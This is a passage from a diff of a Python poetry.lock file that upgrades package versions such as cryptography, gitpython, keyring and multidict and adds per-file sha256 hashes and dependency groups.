"cryptography-46.0.1-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:9f40642a140c0c8649987027867242b801486865277cbabc8c6059ddef16dc8b"}, + {file = "cryptography-46.0.1-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:449ef2b321bec7d97ef2c944173275ebdab78f3abdd005400cc409e27cd159ab"}, + {file = "cryptography-46.0.1-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:2dd339ba3345b908fa3141ddba4025568fa6fd398eabce3ef72a29ac2d73ad75"}, + {file = "cryptography-46.0.1-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:7411c910fb2a412053cf33cfad0153ee20d27e256c6c3f14d7d7d1d9fec59fd5"}, + {file = "cryptography-46.0.1-cp311-abi3-win32.whl", hash = "sha256:cbb8e769d4cac884bb28e3ff620ef1001b75588a5c83c9c9f1fdc9afbe7f29b0"}, + {file = "cryptography-46.0.1-cp311-abi3-win_amd64.whl", hash = "sha256:92e8cfe8bd7dd86eac0a677499894862cd5cc2fd74de917daa881d00871ac8e7"}, + {file = "cryptography-46.0.1-cp311-abi3-win_arm64.whl", hash = "sha256:db5597a4c7353b2e5fb05a8e6cb74b56a4658a2b7bf3cb6b1821ae7e7fd6eaa0"}, + {file = "cryptography-46.0.1-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:4c49eda9a23019e11d32a0eb51a27b3e7ddedde91e099c0ac6373e3aacc0d2ee"}, + {file = "cryptography-46.0.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:9babb7818fdd71394e576cf26c5452df77a355eac1a27ddfa24096665a27f8fd"}, + {file = "cryptography-46.0.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9f2c4cc63be3ef43c0221861177cee5d14b505cd4d4599a89e2cd273c4d3542a"}, + {file = "cryptography-46.0.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:41c281a74df173876da1dc9a9b6953d387f06e3d3ed9284e3baae3ab3f40883a"}, + {file = "cryptography-46.0.1-cp314-cp314t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0a17377fa52563d730248ba1f68185461fff36e8bc75d8787a7dd2e20a802b7a"}, + {file = "cryptography-46.0.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:0d1922d9280e08cde90b518a10cd66831f632960a8d08cb3418922d83fce6f12"}, + {file = "cryptography-46.0.1-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:af84e8e99f1a82cea149e253014ea9dc89f75b82c87bb6c7242203186f465129"}, + {file = "cryptography-46.0.1-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:ef648d2c690703501714588b2ba640facd50fd16548133b11b2859e8655a69da"}, + {file = "cryptography-46.0.1-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:e94eb5fa32a8a9f9bf991f424f002913e3dd7c699ef552db9b14ba6a76a6313b"}, + {file = "cryptography-46.0.1-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:534b96c0831855e29fc3b069b085fd185aa5353033631a585d5cd4dd5d40d657"}, + {file = "cryptography-46.0.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:f9b55038b5c6c47559aa33626d8ecd092f354e23de3c6975e4bb205df128a2a0"}, + {file = "cryptography-46.0.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ec13b7105117dbc9afd023300fb9954d72ca855c274fe563e72428ece10191c0"}, + {file = "cryptography-46.0.1-cp314-cp314t-win32.whl", hash = "sha256:504e464944f2c003a0785b81668fe23c06f3b037e9cb9f68a7c672246319f277"}, + {file = "cryptography-46.0.1-cp314-cp314t-win_amd64.whl", hash = "sha256:c52fded6383f7e20eaf70a60aeddd796b3677c3ad2922c801be330db62778e05"}, + {file = "cryptography-46.0.1-cp314-cp314t-win_arm64.whl", hash = "sha256:9495d78f52c804b5ec8878b5b8c7873aa8e63db9cd9ee387ff2db3fffe4df784"}, + {file = "cryptography-46.0.1-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:d84c40bdb8674c29fa192373498b6cb1e84f882889d21a471b45d1f868d8d44b"}, + {file = "cryptography-46.0.1-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:9ed64e5083fa806709e74fc5ea067dfef9090e5b7a2320a49be3c9df3583a2d8"}, + {file = "cryptography-46.0.1-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:341fb7a26bc9d6093c1b124b9f13acc283d2d51da440b98b55ab3f79f2522ead"}, + {file = "cryptography-46.0.1-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:6ef1488967e729948d424d09c94753d0167ce59afba8d0f6c07a22b629c557b2"}, + {file = "cryptography-46.0.1-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7823bc7cdf0b747ecfb096d004cc41573c2f5c7e3a29861603a2871b43d3ef32"}, + {file = "cryptography-46.0.1-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:f736ab8036796f5a119ff8211deda416f8c15ce03776db704a7a4e17381cb2ef"}, + {file = "cryptography-46.0.1-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:e46710a240a41d594953012213ea8ca398cd2448fbc5d0f1be8160b5511104a0"}, + {file = "cryptography-46.0.1-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:84ef1f145de5aee82ea2447224dc23f065ff4cc5791bb3b506615957a6ba8128"}, + {file = "cryptography-46.0.1-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:9394c7d5a7565ac5f7d9ba38b2617448eba384d7b107b262d63890079fad77ca"}, + {file = "cryptography-46.0.1-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:ed957044e368ed295257ae3d212b95456bd9756df490e1ac4538857f67531fcc"}, + {file = "cryptography-46.0.1-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:f7de12fa0eee6234de9a9ce0ffcfa6ce97361db7a50b09b65c63ac58e5f22fc7"}, + {file = "cryptography-46.0.1-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:7fab1187b6c6b2f11a326f33b036f7168f5b996aedd0c059f9738915e4e8f53a"}, + {file = "cryptography-46.0.1-cp38-abi3-win32.whl", hash = "sha256:45f790934ac1018adeba46a0f7289b2b8fe76ba774a88c7f1922213a56c98bc1"}, + {file = "cryptography-46.0.1-cp38-abi3-win_amd64.whl", hash = "sha256:7176a5ab56fac98d706921f6416a05e5aff7df0e4b91516f450f8627cda22af3"}, + {file = "cryptography-46.0.1-cp38-abi3-win_arm64.whl", hash = "sha256:efc9e51c3e595267ff84adf56e9b357db89ab2279d7e375ffcaf8f678606f3d9"}, + {file = "cryptography-46.0.1-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:fd4b5e2ee4e60425711ec65c33add4e7a626adef79d66f62ba0acfd493af282d"}, + {file = "cryptography-46.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:48948940d0ae00483e85e9154bb42997d0b77c21e43a77b7773c8c80de532ac5"}, + {file = "cryptography-46.0.1-pp311-pypy311_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b9c79af2c3058430d911ff1a5b2b96bbfe8da47d5ed961639ce4681886614e70"}, + {file = "cryptography-46.0.1-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:0ca4be2af48c24df689a150d9cd37404f689e2968e247b6b8ff09bff5bcd786f"}, + {file = "cryptography-46.0.1-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:13e67c4d3fb8b6bc4ef778a7ccdd8df4cd15b4bcc18f4239c8440891a11245cc"}, + {file = "cryptography-46.0.1-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:15b5fd9358803b0d1cc42505a18d8bca81dabb35b5cfbfea1505092e13a9d96d"}, + {file = "cryptography-46.0.1-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:e34da95e29daf8a71cb2841fd55df0511539a6cdf33e6f77c1e95e44006b9b46"}, + {file = "cryptography-46.0.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:34f04b7311174469ab3ac2647469743720f8b6c8b046f238e5cb27905695eb2a"}, + {file = "cryptography-46.0.1.tar.gz", hash = "sha256:ed570874e88f213437f5cf758f9ef26cbfc3f336d889b1e592ee11283bb8d1c7"}, +] [package.dependencies] -cffi = ">=1.12" +cffi = {version = ">=2.0.0", markers = "python_full_version >= \"3.9.0\" and platform_python_implementation != \"PyPy\""} +typing-extensions = {version = ">=4.13.2", markers = "python_full_version < \"3.11.0\""} [package.extras] -docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] -docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"] -nox = ["nox"] -pep8test = ["black", "check-sdist", "mypy", "ruff"] -sdist = ["build"] +docs = ["sphinx (>=5.3.0)", "sphinx-inline-tabs", "sphinx-rtd-theme (>=3.0.0)"] +docstest = ["pyenchant (>=3)", "readme-renderer (>=30.0)", "sphinxcontrib-spelling (>=7.3.1)"] +nox = ["nox[uv] (>=2024.4.15)"] +pep8test = ["check-sdist", "click (>=8.0.1)", "mypy (>=1.14)", "ruff (>=0.11.11)"] +sdist = ["build (>=1.0.0)"] ssh = ["bcrypt (>=3.1.5)"] -test = ["pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"] +test = ["certifi (>=2024)", "cryptography-vectors (==46.0.1)", "pretend (>=0.7)", "pytest (>=7.4.0)", "pytest-benchmark (>=4.0)", "pytest-cov (>=2.10.1)", "pytest-xdist (>=3.5.0)"] test-randomorder = ["pytest-randomly"] [[package]] name = "docutils" -version = "0.20.1" +version = "0.22.1" description = "Docutils -- Python Documentation Utilities" -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "docutils-0.22.1-py3-none-any.whl", hash = "sha256:806e896f256a17466426544038f30cb860a99f5d4af640e36c284bfcb1824512"}, + {file = "docutils-0.22.1.tar.gz", hash = "sha256:d2fb50923a313532b6d41a77776d24cb459a594be9b7e4afa1fbcb5bda1893e6"}, +] [[package]] name = "dotty-dict" version = "1.3.1" description = "Dictionary wrapper for quick access to deeply nested keys." -category = "dev" optional = false python-versions = ">=3.5,<4.0" +groups = ["dev"] +files = [ + {file = "dotty_dict-1.3.1-py3-none-any.whl", hash = "sha256:5022d234d9922f13aa711b4950372a06a6d64cb6d6db9ba43d0ba133ebfce31f"}, + {file = "dotty_dict-1.3.1.tar.gz", hash = "sha256:4b016e03b8ae265539757a53eba24b9bfda506fb94fbce0bee843c6f05541a15"}, +] [[package]] name = "exceptiongroup" -version = "1.2.0" +version = "1.3.0" description = "Backport of PEP 654 (exception groups)" -category = "dev" optional = false python-versions = ">=3.7" +groups = ["dev"] +markers = "python_version == \"3.10\"" +files = [ + {file = "exceptiongroup-1.3.0-py3-none-any.whl", hash = "sha256:4d111e6e0c13d0644cad6ddaa7ed0261a0b36971f6d23e7ec9b4b9097da78a10"}, + {file = "exceptiongroup-1.3.0.tar.gz", hash = "sha256:b241f5885f560bc56a59ee63ca4c6a8bfa46ae4ad651af316d4e81817bb9fd88"}, +] + +[package.dependencies] +typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""} [package.extras] test = ["pytest (>=6)"] [[package]] name = "gitdb" -version = "4.0.11" +version = "4.0.12" description = "Git Object Database" -category = "dev" optional = false python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "gitdb-4.0.12-py3-none-any.whl", hash = "sha256:67073e15955400952c6565cc3e707c554a4eea2e428946f7a4c162fab9bd9bcf"}, + {file = "gitdb-4.0.12.tar.gz", hash = "sha256:5ef71f855d191a3326fcfbc0d5da835f26b13fbcba60c32c21091c349ffdb571"}, +] [package.dependencies] smmap = ">=3.0.1,<6" [[package]] name = "gitpython" -version = "3.1.40" +version = "3.1.45" description = "GitPython is a Python library used to interact with Git repositories" -category = "dev" optional = false python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "gitpython-3.1.45-py3-none-any.whl", hash = "sha256:8908cb2e02fb3b93b7eb0f2827125cb699869470432cc885f019b8fd0fccff77"}, + {file = "gitpython-3.1.45.tar.gz", hash = "sha256:85b0ee964ceddf211c41b9f27a49086010a190fd8132a24e21f362a4b36a791c"}, +] [package.dependencies] gitdb = ">=4.0.1,<5" -typing-extensions = {version = ">=3.7.4.3", markers = "python_version < \"3.8\""} [package.extras] -test = ["black", "coverage[toml]", "ddt (>=1.1.1,!=1.4.3)", "mock", "mypy", "pre-commit", "pytest", "pytest-cov", "pytest-instafail", "pytest-subtests", "pytest-sugar"] +doc = ["sphinx (>=7.1.2,<7.2)", "sphinx-autodoc-typehints", "sphinx_rtd_theme"] +test = ["coverage[toml]", "ddt (>=1.1.1,!=1.4.3)", "mock ; python_version < \"3.8\"", "mypy", "pre-commit", "pytest (>=7.3.1)", "pytest-cov", "pytest-instafail", "pytest-mock", "pytest-sugar", "typing-extensions ; python_version < \"3.11\""] [[package]] name = "idna" -version = "3.6" +version = "3.10" description = "Internationalized Domain Names in Applications (IDNA)" -category = "main" optional = false -python-versions = ">=3.5" +python-versions = ">=3.6" +groups = ["main", "dev"] +files = [ + {file = "idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3"}, + {file = "idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9"}, +] + +[package.extras] +all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] [[package]] name = "importlib-metadata" -version = "6.7.0" +version = "8.7.0" description = "Read metadata from Python packages" -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "importlib_metadata-8.7.0-py3-none-any.whl", hash = "sha256:e5dd1551894c77868a30651cef00984d50e1002d06942a7101d34870c5f02afd"}, + {file = "importlib_metadata-8.7.0.tar.gz", hash = "sha256:d13b81ad223b890aa16c5471f2ac3056cf76c5f10f82d6f9292f0b415f389000"}, +] [package.dependencies] -typing-extensions = {version = ">=3.6.4", markers = "python_version < \"3.8\""} -zipp = ">=0.5" +zipp = ">=3.20" [package.extras] -docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +enabler = ["pytest-enabler (>=2.2)"] perf = ["ipython"] -testing = ["flufl.flake8", "importlib-resources (>=1.3)", "packaging", "pyfakefs", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-mypy (>=0.9.1)", "pytest-perf (>=0.9.2)", "pytest-ruff"] - -[[package]] -name = "importlib-resources" -version = "5.12.0" -description = "Read resources from Python packages" -category = "dev" -optional = false -python-versions = ">=3.7" - -[package.dependencies] -zipp = {version = ">=3.1.0", markers = "python_version < \"3.10\""} - -[package.extras] -docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -testing = ["flake8 (<5)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)"] +test = ["flufl.flake8", "importlib_resources (>=1.3) ; python_version < \"3.9\"", "jaraco.test (>=5.4)", "packaging", "pyfakefs", "pytest (>=6,!=8.1.*)", "pytest-perf (>=0.9.2)"] +type = ["pytest-mypy"] [[package]] name = "iniconfig" -version = "2.0.0" +version = "2.1.0" description = "brain-dead simple config-ini parsing" -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "iniconfig-2.1.0-py3-none-any.whl", hash = "sha256:9deba5723312380e77435581c6bf4935c94cbfab9b1ed33ef8d238ea168eb760"}, + {file = "iniconfig-2.1.0.tar.gz", hash = "sha256:3abbd2e30b36733fee78f9c7f7308f2d0050e88f0087fd25c2645f63c773e1c7"}, +] [[package]] name = "invoke" version = "2.2.0" description = "Pythonic task execution" -category = "dev" optional = false python-versions = ">=3.6" +groups = ["dev"] +files = [ + {file = "invoke-2.2.0-py3-none-any.whl", hash = "sha256:6ea924cc53d4f78e3d98bc436b08069a03077e6f85ad1ddaa8a116d7dad15820"}, + {file = "invoke-2.2.0.tar.gz", hash = "sha256:ee6cbb101af1a859c7fe84f2a264c059020b0cb7fe3535f9424300ab568f6bd5"}, +] [[package]] -name = "jaraco.classes" -version = "3.2.3" +name = "jaraco-classes" +version = "3.4.0" description = "Utility functions for Python class constructs" -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "jaraco.classes-3.4.0-py3-none-any.whl", hash = "sha256:f662826b6bed8cace05e7ff873ce0f9283b5c924470fe664fff1c2f00f581790"}, + {file = "jaraco.classes-3.4.0.tar.gz", hash = "sha256:47a024b51d0239c0dd8c8540c6c7f484be3b8fcf0b2d85c13825780d3b3f3acd"}, +] [package.dependencies] more-itertools = "*" [package.extras] -docs = ["jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)"] -testing = ["flake8 (<5)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)"] +docs = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +testing = ["pytest (>=6)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-mypy", "pytest-ruff (>=0.2.1)"] + +[[package]] +name = "jaraco-context" +version = "6.0.1" +description = "Useful decorators and context managers" +optional = false +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "jaraco.context-6.0.1-py3-none-any.whl", hash = "sha256:f797fc481b490edb305122c9181830a3a5b76d84ef6d1aef2fb9b47ab956f9e4"}, + {file = "jaraco_context-6.0.1.tar.gz", hash = "sha256:9bae4ea555cf0b14938dc0aee7c9f32ed303aa20a3b73e7dc80111628792d1b3"}, +] + +[package.dependencies] +"backports.tarfile" = {version = "*", markers = "python_version < \"3.12\""} + +[package.extras] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +test = ["portend", "pytest (>=6,!=8.1.*)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-mypy", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] + +[[package]] +name = "jaraco-functools" +version = "4.3.0" +description = "Functools like those found in stdlib" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "jaraco_functools-4.3.0-py3-none-any.whl", hash = "sha256:227ff8ed6f7b8f62c56deff101545fa7543cf2c8e7b82a7c2116e672f29c26e8"}, + {file = "jaraco_functools-4.3.0.tar.gz", hash = "sha256:cfd13ad0dd2c47a3600b439ef72d8615d482cedcff1632930d6f28924d92f294"}, +] + +[package.dependencies] +more_itertools = "*" + +[package.extras] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +enabler = ["pytest-enabler (>=2.2)"] +test = ["jaraco.classes", "pytest (>=6,!=8.1.*)"] +type = ["pytest-mypy"] [[package]] name = "jeepney" -version = "0.8.0" +version = "0.9.0" description = "Low-level, pure Python DBus protocol wrapper." -category = "dev" optional = false python-versions = ">=3.7" +groups = ["dev"] +markers = "sys_platform == \"linux\"" +files = [ + {file = "jeepney-0.9.0-py3-none-any.whl", hash = "sha256:97e5714520c16fc0a45695e5365a2e11b81ea79bba796e26f9f1d178cb182683"}, + {file = "jeepney-0.9.0.tar.gz", hash = "sha256:cf0e9e845622b81e4a28df94c40345400256ec608d0e55bb8a3feaa9163f5732"}, +] [package.extras] -test = ["async-timeout", "pytest", "pytest-asyncio (>=0.17)", "pytest-trio", "testpath", "trio"] -trio = ["async_generator", "trio"] +test = ["async-timeout ; python_version < \"3.11\"", "pytest", "pytest-asyncio (>=0.17)", "pytest-trio", "testpath", "trio"] +trio = ["trio"] [[package]] name = "keyring" -version = "24.1.1" +version = "25.6.0" description = "Store and access your passwords safely." -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "keyring-25.6.0-py3-none-any.whl", hash = "sha256:552a3f7af126ece7ed5c89753650eec89c7eaae8617d0aa4d9ad2b75111266bd"}, + {file = "keyring-25.6.0.tar.gz", hash = "sha256:0b39998aa941431eb3d9b0d4b2460bc773b9df6fed7621c2dfb291a7e0187a66"}, +] [package.dependencies] -importlib-metadata = {version = ">=4.11.4", markers = "python_version < \"3.12\""} -importlib-resources = {version = "*", markers = "python_version < \"3.9\""} +importlib_metadata = {version = ">=4.11.4", markers = "python_version < \"3.12\""} "jaraco.classes" = "*" +"jaraco.context" = "*" +"jaraco.functools" = "*" jeepney = {version = ">=0.4.2", markers = "sys_platform == \"linux\""} pywin32-ctypes = {version = ">=0.2.0", markers = "sys_platform == \"win32\""} SecretStorage = {version = ">=3.2", markers = "sys_platform == \"linux\""} [package.extras] -completion = ["shtab"] -docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -testing = ["pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-mypy (>=0.9.1)", "pytest-ruff"] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] +completion = ["shtab (>=1.1.0)"] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +enabler = ["pytest-enabler (>=2.2)"] +test = ["pyfakefs", "pytest (>=6,!=8.1.*)"] +type = ["pygobject-stubs", "pytest-mypy", "shtab", "types-pywin32"] [[package]] name = "more-itertools" -version = "9.1.0" +version = "10.8.0" description = "More routines for operating on iterables, beyond itertools" -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "more_itertools-10.8.0-py3-none-any.whl", hash = "sha256:52d4362373dcf7c52546bc4af9a86ee7c4579df9a8dc268be0a2f949d376cc9b"}, + {file = "more_itertools-10.8.0.tar.gz", hash = "sha256:f638ddf8a1a0d134181275fb5d58b086ead7c6a72429ad725c67503f13ba30bd"}, +] [[package]] name = "multidict" -version = "6.0.4" +version = "6.6.4" description = "multidict implementation" -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "multidict-6.6.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:b8aa6f0bd8125ddd04a6593437bad6a7e70f300ff4180a531654aa2ab3f6d58f"}, + {file = "multidict-6.6.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b9e5853bbd7264baca42ffc53391b490d65fe62849bf2c690fa3f6273dbcd0cb"}, + {file = "multidict-6.6.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0af5f9dee472371e36d6ae38bde009bd8ce65ac7335f55dcc240379d7bed1495"}, + {file = "multidict-6.6.4-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:d24f351e4d759f5054b641c81e8291e5d122af0fca5c72454ff77f7cbe492de8"}, + {file = "multidict-6.6.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:db6a3810eec08280a172a6cd541ff4a5f6a97b161d93ec94e6c4018917deb6b7"}, + {file = "multidict-6.6.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a1b20a9d56b2d81e2ff52ecc0670d583eaabaa55f402e8d16dd062373dbbe796"}, + {file = "multidict-6.6.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8c9854df0eaa610a23494c32a6f44a3a550fb398b6b51a56e8c6b9b3689578db"}, + {file = "multidict-6.6.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4bb7627fd7a968f41905a4d6343b0d63244a0623f006e9ed989fa2b78f4438a0"}, + {file = "multidict-6.6.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:caebafea30ed049c57c673d0b36238b1748683be2593965614d7b0e99125c877"}, + {file = "multidict-6.6.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ad887a8250eb47d3ab083d2f98db7f48098d13d42eb7a3b67d8a5c795f224ace"}, + {file = "multidict-6.6.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:ed8358ae7d94ffb7c397cecb62cbac9578a83ecefc1eba27b9090ee910e2efb6"}, + {file = "multidict-6.6.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ecab51ad2462197a4c000b6d5701fc8585b80eecb90583635d7e327b7b6923eb"}, + {file = "multidict-6.6.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:c5c97aa666cf70e667dfa5af945424ba1329af5dd988a437efeb3a09430389fb"}, + {file = "multidict-6.6.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:9a950b7cf54099c1209f455ac5970b1ea81410f2af60ed9eb3c3f14f0bfcf987"}, + {file = "multidict-6.6.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:163c7ea522ea9365a8a57832dea7618e6cbdc3cd75f8c627663587459a4e328f"}, + {file = "multidict-6.6.4-cp310-cp310-win32.whl", hash = "sha256:17d2cbbfa6ff20821396b25890f155f40c986f9cfbce5667759696d83504954f"}, + {file = "multidict-6.6.4-cp310-cp310-win_amd64.whl", hash = "sha256:ce9a40fbe52e57e7edf20113a4eaddfacac0561a0879734e636aa6d4bb5e3fb0"}, + {file = "multidict-6.6.4-cp310-cp310-win_arm64.whl", hash = "sha256:01d0959807a451fe9fdd4da3e139cb5b77f7328baf2140feeaf233e1d777b729"}, + {file = "multidict-6.6.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c7a0e9b561e6460484318a7612e725df1145d46b0ef57c6b9866441bf6e27e0c"}, + {file = "multidict-6.6.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6bf2f10f70acc7a2446965ffbc726e5fc0b272c97a90b485857e5c70022213eb"}, + {file = "multidict-6.6.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:66247d72ed62d5dd29752ffc1d3b88f135c6a8de8b5f63b7c14e973ef5bda19e"}, + {file = "multidict-6.6.4-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:105245cc6b76f51e408451a844a54e6823bbd5a490ebfe5bdfc79798511ceded"}, + {file = "multidict-6.6.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cbbc54e58b34c3bae389ef00046be0961f30fef7cb0dd9c7756aee376a4f7683"}, + {file = "multidict-6.6.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:56c6b3652f945c9bc3ac6c8178cd93132b8d82dd581fcbc3a00676c51302bc1a"}, + {file = "multidict-6.6.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b95494daf857602eccf4c18ca33337dd2be705bccdb6dddbfc9d513e6addb9d9"}, + {file = "multidict-6.6.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e5b1413361cef15340ab9dc61523e653d25723e82d488ef7d60a12878227ed50"}, + {file = "multidict-6.6.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e167bf899c3d724f9662ef00b4f7fef87a19c22b2fead198a6f68b263618df52"}, + {file = "multidict-6.6.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:aaea28ba20a9026dfa77f4b80369e51cb767c61e33a2d4043399c67bd95fb7c6"}, + {file = 